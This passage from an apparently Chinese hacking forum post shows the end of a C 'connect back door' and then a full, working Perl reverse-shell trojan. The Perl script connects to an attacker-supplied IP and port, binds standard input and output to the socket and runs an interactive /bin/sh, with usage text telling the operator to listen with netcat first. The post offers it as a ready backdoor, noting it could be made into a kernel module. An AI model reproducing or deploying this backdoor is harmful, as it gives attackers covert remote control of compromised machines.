   printf("\t\ts8s8 connect back door\n\n");

}

　

　　显得有点简陋了，不过还能讲究的过去。。如果需要可以写成LKM，呵呵。

 

第二个反弹木马代码：
代码

 

#!/usr/bin/perl

use strict;
use Socket;
use Cwd;
use IO::Handle;

if ( @ARGV < 1 ) {
print <<"EOF";
usage:
nc -l -p PORT(default 66666) on your local system first,then
Perl $0 Remote IP Remote_port(default 66666)
Type 'quit' to exit or press Enter to gain shell when u under the 'S8S8 console'.
Enjoy ur shell!
Welcome to http://www.s8s8.net
EOF
exit;
}
my $remote      = $ARGV[0];
my $remote_port = $ARGV[1] || 66666;
my $proto       = getprotobyname('tcp');
my $pack_addr   = sockaddr_in( $remote_port, inet_aton($remote) );
my $path        = cwd();
my $shell       = '/bin/sh -i';

socket( SOCK, AF_INET, SOCK_STREAM, $proto ) || die "socket error: $!";
STDOUT->autoflush(1);
SOCK->autoflush(1);
connect( SOCK, $pack_addr ) || die "connection error : $!";
open STDIN,  ">&SOCK";
open STDOUT, ">&SOCK";
open STDERR, ">&SOCK";
print "You are in $path\n";
print "Welcome to www.s8s8.net\nEnjoy ur shell.\n\n[S8S8 console]>";

while () {
   chomp;
   if ( lc($_) eq 'quit' ) {
       print "\nWelcome to www.s8s8.net";
       print "\nByeBye~~~!\n";
       exit;
   }
   elsif ($_) {
       system($shell);
       print "\n[S8S8 console]>";
   }
   else {
       print "\n[S8S8 console]>";
   }
}
close SOCK;
exit;

　　很简单，功能和上面sql兄那个c版本的差不多。
